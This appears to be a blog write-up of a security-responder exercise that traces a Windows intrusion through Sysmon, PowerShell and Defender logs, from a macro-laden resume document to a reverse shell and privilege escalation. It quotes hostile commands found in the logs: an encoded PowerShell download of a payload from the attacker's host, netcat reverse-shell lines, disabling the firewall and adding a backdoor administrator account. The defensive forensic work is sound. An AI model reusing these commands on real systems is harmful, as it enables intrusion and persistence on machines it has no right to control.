A friend of mine was trying out a new job for security responder and I found the exercise quite fun! So I tried to do it as well and here is the write up:
The task
The task came with a bunch of Windows logs files called evtx
. We were supposed to look for malicious activity. Let the hunt begin!
Investigation
First, I had to figure out how to read those log files. I work on Linux and hadn't touched a Windows machine in years. So apparently there is a some scripts to make those files into XML that would be a start. Then, let's just grep
our way through this whole mess.
To be able to read the logs, we converted them to XML using python-evtx:
for i in *.evtx;do python ../python-evtx/scripts/evtx_dump.py $i > $i.xml; done
Without any information of what is wrong with the system, we decided to first look for possible IP addresses in the log files1 2. If the system was compromised, it would have definitly keep a trace or first inbound (like downloading a virus) or communication with the hacker or a server controlled by the hacker (experts call that command-and-control).
We got lucky and found something!
(.env) ~/.../logs/xml >>> grepip *.xml | sort | uniq -c
3 Application.evtx.xml:6.4.5.2
2 Microsoft-Windows-Kernel-PnP%4Configuration.evtx.xml:12.15.22.6
2 Microsoft-Windows-Kernel-PnP%4Configuration.evtx.xml:12.5.10.0
1 Microsoft-Windows-Kernel-PnP%4Configuration.evtx.xml:1.34.3.83
1 Microsoft-Windows-Kernel-PnP%4Configuration.evtx.xml:9.8.16.0
4 Microsoft-Windows-LiveId%4Operational.evtx.xml:08.07.09.10
68 Microsoft-Windows-PowerShell%4Operational.evtx.xml:0.0.0.0
6 Microsoft-Windows-PowerShell%4Operational.evtx.xml:127.0.0.1
2 Microsoft-Windows-PowerShell%4Operational.evtx.xml:192.168.0.10
10 Microsoft-Windows-PowerShell%4Operational.evtx.xml:192.168.74.136
12 Microsoft-Windows-Sysmon%4Operational.evtx.xml:192.168.140.135
1 Microsoft-Windows-Sysmon%4Operational.evtx.xml:2.2.0.0
8 Microsoft-Windows-Sysmon%4Operational.evtx.xml:6.4.5.2
17 Microsoft-Windows-Time-Service%4Operational.evtx.xml:0.0.0.0
17 Microsoft-Windows-Time-Service%4Operational.evtx.xml:51.105.208.173
2 Microsoft-Windows-Windows Defender%4Operational.evtx.xml:1.273.933.0
1 Microsoft-Windows-WindowsUpdateClient%4Operational.evtx.xml:9.8.16.0
12 Security.evtx.xml:127.0.0.1
11 System.evtx.xml:0.0.0.0
2 System.evtx.xml:12.15.22.6
2 System.evtx.xml:12.5.10.0
11 System.evtx.xml:51.105.208.173
1 System.evtx.xml:8.16.7.5
4 System.evtx.xml:9.8.16.0
So clearly, not all of these are actual IP addresses, but some stuff seems to pop out, so let's pull the thread from there.
Let's look into one of those IP addresses: rg -F "192.168.140.135" -C 12
. I output 12 lignes around the match to keep the entire log event from Windows. Here are the interesting bits:
<data name="parentcommandline">c:\programdata\eotxfaqd.exe 192.168.140.135 1337</data>
And:
<Data Name="Image">C:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe</Data>
Interesting pattern, right? So this is clearly a reverse shell. The program is probably running something like: nc 192.168.140.135 1337
to connect to an instance of Netcat running on the attacker's machine: nc -nvlp 1337
. You the "I am in" they say in movies, that's that.
If we see that connection, it means that the attacker might had contact with the machine. This means that the attacker might have run a couple of classic reconnaissance commands like:
whoami
dir c:\
cmd.exe
powershell.exe
Mayber the little malware has launched a prompt: cmd.exe
or powershell.exe
or even better: C:\Windows\System32\cmd.exe /c
followed by a command. Which is... what we found!
Something like:
9940-<Data Name="UtcTime">2020-08-14 06:57:17.935</Data>
...
9951-<Data Name="User">WIN-XYZ\Bob</Data>
...
9960:<Data Name="ParentCommandLine">C:\Windows\System32\cmd.exe /c whoami
Or:
10658-<Data Name="UtcTime">2020-08-14 06:57:45.989</Data>
...
10669-<Data Name="User">WIN-XYZ\Administrator</Data>
...
10678:<Data Name="ParentCommandLine">C:\Windows\System32\cmd.exe /c whoami
This looks like a trace of a privilege escalation and access to the Administrator account but let's leave that for latter.
Why the full path matters? When running an attack, the attacking program may not have all environment configuration that would allow it to run just
cmd.exe
. So usually, it would be easier to call thecmd
binary with it's full path. Moreover, if the exploitation is sequential, the attacker wants to send a one-liner like:C:\Windows\System32\cmd..exe /c whoami
to immediately get the return through the break instead of needing to be connected to the machine.
Although we can find really cool things such as:
5626:<Data Name="ParentImage">C:\Windows\System32\cmd.exe</Data>
5627-<Data Name="ParentCommandLine">c:\windows\system32\cmd.exe /c "powershell.exe -exec bYpaSs -EncodedCommand aQB3AHIAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxADQAMAAuADEAMwA1ADoAOAAwADAAMAAvAHgAYwAuAGUAeABlACAALQBvAHUAdABmAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAHMAcABvAG8AbABcAGQAcgBpAHYAZQByAHMAXABjAG8AbABvAHIAXAB4AGMAXwAxADkAMgAuADEANgA4AC4AMQA0ADAALgAxADMANQBfADEAMwAzADcALgBlAHgAZQA="</Data>
This command will execute a base64 encoded command with Powershell. It decodes to:
i.w.r. .h.t.t.p.:././.1.9.2...1.6.8...1.4.0...1.3.5.:.8.0.0.0./.x.c...e.x.e. .-.o.u.t.f.i.l.e. .C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.s.p.o.o.l.\.d.r.i.v.e.r.s.\.c.o.l.o.r.\.x.c._.1.9.2...1.6.8...1.4.0...1.3.5._.1.3.3.7...e.x.e.
This is means that the attacking software might have ordered the computer to download the virus. So we are looking at a kind of infection through a 3rd party medium like an email or a document which is called "dropper".
There are a lot of things and we need to sort out things and starting to establish a time frame.
Now, the log file sounds important, there are two events (twice the same) with the IP address we are tracking in the Windows Defender log fie:
1317-<Data Name="Threat Name">HackTool:Win32/Mimikatz.D</Data>
[...]
1328:<Data Name="Process Name">C:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe</Data>
Mimikatz is a security program that allow to test a bunch of stuff on Windows. It is also used by malicious actors to steal credentials (for example) .
If we see those events in Windows Defender, it means that there were probably not successful. So let's keep looking.
5802-<Data Name="UtcTime">2020-08-14 06:51:03.932</Data>
[...]
5811:<Data Name="CommandLine">c:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe</Data>
5812-<Data Name="CurrentDirectory">C:\Program Files\LibreOffice\program\</Data>
5813-<Data Name="User">WIN-XYZ\Bob</Data>
[...]
5821-<Data Name="ParentImage">C:\Program Files\LibreOffice\program\soffice.bin</Data>
5822-<Data Name="ParentCommandLine">"C:\Program Files\LibreOffice\program\soffice.exe" "-o" "C:\Users\Bob\Desktop\resume2.odt" "-env:OOO_CWD=2C:\\Users\\Bob\\Desktop"</Data>
This event found in Sysmon, so I guess the activity log file is much more interesting. It looks like a document called "resume2.odt" ran the exe file through a macro. That's interesting! It means that we might have a good clue on the infection vector: a malicious document, probably a resume.
Here, it's interesting, we have matches for resume.doc
, resume.odt
and resume2.odt
.
There are two matches for resume.doc
in Windows Defender logs and nowhere else at 6.50.01 on the 14/08/2020 tagged as exploit (precisely CVE-2017-0199). The logs says it "completed successfully". I don't know if that means the malware was blocked or if it ran. But Windows Defender says the threat is severe. So let's assume it was blocked.
Why is there no resume2.doc
but resume2.odt
? My guess here is that the user ignored the Windows Defender alert because 1) negligence or 2) was talking to the candidate which told the user to change to the open format (odt) hoping that Windows Defender would not match on that type of macro.
The matches for resume.odt
are from 6.50.08, for resume2.odt
from 6.50.47 and both found in the Sysmon logs.
Now ideally it would be interesting to see all events from 6:50:00 on the
14/08/2020. So, more. more. more regexes!
rg -e '<TimeCreated SystemTime="2020\-08\-14 06:[0-9]{2}:\d{2}\.\d{6}">' Microsoft-Windows-Sysmon%4Operational.evtx.xml -C 19 | rg -e "cmd.exe\s" -C 19
rg -e '<TimeCreated SystemTime="2020\-08\-14 06:[0-9]{2}:\d{2}\.\d{6}">' Microsoft-Windows-Sysmon%4Operational.evtx.xml -C 19 | rg -e "powershell.exe\s"
What seems here is that there are two infection vectors. One being C:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe
and the other C:\ProgramData\HboaocQw.exe 192.168.140.135 1337
. Could it be that each resume was another file and dropped different malwares?
We find a lot of interesting commands and a couple of commands stand out (and which we haven't mentioned yet):
- 2020-08-14 06:53:36.952:
WIN-XYZ\Bob
runs3
C:\Windows\System32\cmd.exe /c "import-module .\Invoke-PrivescCheck.ps1 Add-Type -AssemblyName System.ServiceProcess"
Through:
C:\Windows\System32\spool\drivers\color\xc_192.168.140.135_1337.exe
This means that the attacker might have got Administrator access through a local exploitation (that process is called privilege escalation).
- 2020-08-14 06:54:42.697:
WIN-JFGK50J52UP\Administrator
runs
C:\Windows\System32\cmd.exe /c "netsh advfirewall firewall show rule name=all
Through:
C:\ProgramData\HboaocQw.exe 192.168.140.135 1337
This command allows the user the inspect the firewall configuration and probably start to pivot from that computer to another within a company network.
If you remember, earlier, I showed this line:
<Data Name="ParentCommandLine">C:\ProgramData\EOtXfaqD.exe 192.168.140.135 1337</Data>
It seems that there is another malware installed there. We will try to look deeper into what happened during the privilege escalations attempts. It is possible that the attackers tried multiple techniques.
So we have a rough idea that the initial infection and inbound was between 6:50 and before 6:53 where we can see malicious activity already within the computer.
Let's dig into Windows Defender logs for that time frame to find unsuccessful tries:
rg -e '<TimeCreated SystemTime="2020\-08\-14 06:5[0-9]{1}:\d{2}\.\d{6}">' Microsoft-Windows-Windows\ Defender%4Operational.evtx.xml -C 19
Matches:
582:<TimeCreated SystemTime="2020-08-14 06:50:01.878719"></TimeCreated>
[...]
597-<Data Name="Threat Name">Exploit:O97M/CVE-2017-0199</Data>
702:<TimeCreated SystemTime="2020-08-14 06:50:38.286343"></TimeCreated>
[...]
717-<Data Name="Threat Name">Trojan:Win64/Meterpreter.B</Data>
822:<TimeCreated SystemTime="2020-08-14 06:55:43.696354"></TimeCreated>
[...]
837-<Data Name="Threat Name">Behavior:Win32/Mikatz.gen!C</Data>
942:<TimeCreated SystemTime="2020-08-14 06:55:44.008844"></TimeCreated>
[...]
957-<Data Name="Threat Name">Behavior:Win32/Mikatz.gen!C</Data>
1182:<TimeCreated SystemTime="2020-08-14 06:55:55.932249"></TimeCreated>
[...]
1197-<Data Name="Threat Name">HackTool:Win32/Mimikatz.D</Data>
There are no more events after 6:57 in Windows Defender. I cut some parts here as it was just Mimikatz detections. Our time frame is much more clearer based on
those detection:
- 6:50 until 6:55: initial access and persistence
- 6:55 until 6:57: privilege escalation and possible pivot (we don't know yet if the attacker managed to get access to other computers from this one)
So let's look for those intervals in Sysmon!
7177:<TimeCreated SystemTime="2020-08-14 06:54:30.611298"></TimeCreated>
[...]
7195-<Data Name="CommandLine">C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon</Data>
7257:<TimeCreated SystemTime="2020-08-14 06:54:31.031931"></TimeCreated>
[...]
7275-<Data Name="CommandLine">C:\ProgramData\HboaocQw.exe 192.168.140.135 1337</Data>
7297:<TimeCreated SystemTime="2020-08-14 06:54:31.037439"></TimeCreated>
[...]
7315-<Data Name="CommandLine">\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1</Data>
7360:<TimeCreated SystemTime="2020-08-14 06:54:37.340946"></TimeCreated>
[...]
7378-<Data Name="CommandLine">C:\Windows\System32\cmd.exe /c whoami
7488:<TimeCreated SystemTime="2020-08-14 06:54:42.701794"></TimeCreated>
[...]
7506-<Data Name="CommandLine">C:\Windows\System32\cmd.exe /c "netsh advfirewall firewall show rule name=all
7529:<TimeCreated SystemTime="2020-08-14 06:54:42.724337"></TimeCreated>
[...]
7547-<Data Name="CommandLine">netsh advfirewall firewall show rule name=all</Data>
7656:<TimeCreated SystemTime="2020-08-14 06:54:56.148991"></TimeCreated>
[...]
7674-<Data Name="CommandLine">"C:\Windows\system32\netsh.exe" Advfirewall set allprofiles state off</Data>
7759:<TimeCreated SystemTime="2020-08-14 06:54:56.239628"></TimeCreated>
[...]
7777-<Data Name="CommandLine">C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent</Data>
7822:<TimeCreated SystemTime="2020-08-14 06:54:59.856335"></TimeCreated>
[...]
7840-<Data Name="CommandLine">"C:\Windows\system32\net.exe" user support Start123! /add</Data>
7948:<TimeCreated SystemTime="2020-08-14 06:55:03.696032"></TimeCreated>
[...]
7966-<Data Name="CommandLine">"C:\Windows\system32\net.exe" localgroup support administrators /add</Data>
Svchost.exe seems to be something like systemctl
for Linux where you can manipulate various services. Considering we are looking at privilege escalation, we can suppose that those are local exploitation attempts. Maybe exploiting svchost.exe to stop or start a specific services.
While connhost.exe seems to be the process to run a command prompt. I am not exactly sure what is going here, maybe an exploitation attempt to run another command prompt? Maybe the attacker got a visual connection with the target machine and wants another window? I am clueless here.
I truncated a lot of the findings, but there was another version of net.exe
called net1
located in the /temp
folder and exploits attempts were launched on both versions.
One thing interesting is that the attacker creates a support
user account with the password Start123!
then adds this user to the administrator groups. In that way, the attacker would be capable to connect directly to the computer without having to relaunch the attack and the reverse shell. It's called persistence.
We can see as well that the attacker deactivates the firewall rules.
Actually, here things start to get more complicated for me due to my limited knowledge of Windows Internals (I'll get there!). So, I think I will stop the investigation here and go read more about Windows Internals.
Wrapping up
To wrap up, we can take a couple of interesting findings here:
- We detected the initial inbound and the persistence
- We detected the privilege escalation too
- Pivoting was unclear but was probable as the attacker got Administrative rights
- Everything happened in less than 10 minutes, does it implies an automated process? Like a tool that hacked automatically?
- Grep, grep, grep till the end of the world!
It was quite fun and I hope you enjoyed the read!
-
Ripgrep (
rg
) is clone ofgrep
written in Rust: https://github.com/BurntSushi/ripgrep ↩ -
grepip
is an alias for grep to catch IPv4 addresses:grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
↩ -
This is a publicly available privilege escalation script: https://github.com/itm4n/PrivescCheck ↩
Top comments (0)